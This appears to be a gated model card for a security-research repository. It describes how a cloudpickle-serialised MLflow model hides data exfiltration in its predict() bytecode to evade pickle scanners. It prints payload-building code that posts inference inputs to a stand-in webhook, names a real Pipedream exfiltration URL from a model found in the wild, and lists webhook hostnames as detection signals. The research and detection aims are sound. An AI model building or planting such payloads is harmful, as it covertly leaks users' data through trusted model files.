You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
pickle-bypass: cloudpickle MLflow data exfiltration
Security Research β Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request β see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | ? | ? | Partial (?C) |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
A cloudpickle-serialized MLflow PythonModel embeds arbitrary Python bytecode
in method bodies. The dangerous logic (requests.post to an attacker webhook)
lives inside the bytecode of predict() β never as a GLOBAL opcode. Static
scanners that inspect GLOBAL/STACK_GLOBAL opcodes see only cloudpickle's
own reconstruction helpers and find nothing dangerous. The dynamic sandbox
reports clean because the payload fires at inference time (predict()), not
during pickle.loads().
Proof of Concept
malicious_model.pkl is the exploit payload. poc.py builds and tests it.
How the payload was built
import cloudpickle
class MaliciousMLflowModel:
def load_context(self, context=None):
self.ready = True
def predict(self, context=None, model_input=None):
import requests
requests.post("https://attacker.webhook/collect", json=model_input)
# ... returns normal inference output to victim
payload = cloudpickle.dumps(MaliciousMLflowModel())
Conditions required to trigger
- Victim loads the model via
mlflow.pyfunc.load_model()orpickle.loads() - Victim calls
model.predict(input_df)β standard inference call - No scanner flags the file (0 CRITICAL from all three scanners)
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-cloudpickle-mlflow-exfiltration
cd pickle-bypass-cloudpickle-mlflow-exfiltration
# 2. Install requirements
pip install cloudpickle mlflow modelaudit picklescan modelscan
# 3. Scan β observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm deferred payload
python3 poc.py
Security Impact
Every MLflow PythonModel distributed via HuggingFace uses this serialization
format. A victim running the standard mlflow.pyfunc.load_model() workflow
has no way to detect the exfiltration through scanner tooling alone. The
payload fires on every inference call, silently transmitting input data to the
attacker while returning normal model outputs.
Bypass mechanism: Payload hidden in cloudpickle method bytecode. No dangerous GLOBAL opcodes. Deferred execution bypasses dynamic sandbox monitoring.
Full Technical Writeup
Technique 13: Data Exfiltration via cloudpickle MLflow PythonModel
| Scanner | Score |
|---|---|
| modelaudit | 0C, ~3-4W (cloudpickle helpers) |
| picklescan | 0 findings |
| modelscan | 0 findings |
What it does
A victim loads what appears to be a GPT-2 text generation model and calls it for inference. Every call to predict() silently POSTs the input data to an attacker-controlled Pipedream webhook before returning normal model output. The victim receives correct predictions and has no indication anything is wrong.
# Victim code β looks completely normal
result = model.predict(pd.DataFrame({"text": ["user query here"]}))
# ^ input "user query here" was just sent to attacker's webhook
How it works
cloudpickle embeds method bytecode directly
Standard pickle stores only a class reference (GLOBAL 'mymodule' 'MyClass') and reconstructs the object by importing the class at load time. cloudpickle is different: it serializes the class definition itself, embedding each method's bytecode as a raw CodeType object in the pickle stream.
The reconstruction uses only cloudpickle's internal helpers:
cloudpickle.cloudpickle._make_skeleton_class β creates the class shell
cloudpickle.cloudpickle._builtin_type β resolves types.CodeType
cloudpickle.cloudpickle_fast._function_setstate β injects bytecode into method
cloudpickle.cloudpickle_fast._class_setstate β attaches methods to class
The payload β requests.post(webhook_url, json=input_text) β lives inside the bytecode of predict(). It never appears as a GLOBAL opcode.
Why static scanners miss it
picklescan and modelscan inspect GLOBAL/STACK_GLOBAL opcodes and check the (module, attr) pairs against a deny list. requests is never emitted as a GLOBAL opcode: it is imported inside the method body via cloudpickle's subimport helper, which only appears as a string in the method's __globals__ dict. The webhook URL appears as a co_consts string literal in the bytecode blob β an opaque sequence of bytes to any scanner operating at the opcode level.
modelaudit flags the cloudpickle reconstruction helpers as suspicious but cannot see inside the bytecode. Its verdict is WARNING, not CRITICAL.
Why dynamic sandboxes miss it
A dynamic sandbox calls pickle.loads() and monitors syscalls. During pickle.loads():
_make_skeleton_classbuilds the class shell β no method execution_function_setstateinjects bytecode intopredict()β no execution_class_setstateattaches methods β no executionNEWOBJinstantiates the class β calls__init__(no-op)
The sandbox exits with zero syscalls. requests.post is never called during deserialization. The payload fires only when a caller invokes predict() β outside the sandbox monitoring window.
The specific payload (wild model)
- Validates and preprocesses input text (legitimate GPT-2 preprocessing)
- Calls
requests.post('https://eo160ydedadcwgv.m.pipedream.net/listofstrs', json=input_text)β exfiltrates input to attacker's Pipedream webhook - Tokenizes with
self.tokenizerand runsself.model.generate(...)β real inference - Returns decoded outputs to the victim β nothing looks wrong
The webhook is eo160ydedadcwgv.m.pipedream.net β a Pipedream event source that logs all incoming requests. Every inference call from every victim is logged with full input content.
Key difference from technique 12 (cloudpickle display injection)
Detection
The correct signals for this pattern, in priority order:
pickle_strings[](dynamic sandbox output): the webhook URL appears as a string literal in the pickle's bytecodeco_consts. A webhook hostname (pipedream.net,webhook.site,requestbin,ngrok, etc.) in this list is CRITICAL.post_load_invocations[]: callingpredict()on the deserialized object with a network-blocked sandbox produces aconnect()syscall attempt β captured by strace as CRITICAL.Decompiled source (pickle2py_full):
requests.post(URL, ...)is visible in the decompiledpredict()function body.
Neither picklescan, modelscan, nor modelaudit's static rules detect this. Detection requires either bytecode-aware string extraction or post-load method invocation in the dynamic sandbox.
Reproduction
python wild_exploits/13_cloudpickle_mlflow_exfil/poc.py
Expected output:
pickle.loads() complete β canary exists: False
Payload is deferred: method bodies assembled but not called
Calling predict() to simulate MLflow inference...
BYPASS: 0C 3W β cloudpickle_exfil_pwned: sensitive_user_query
General Analysis β Security Research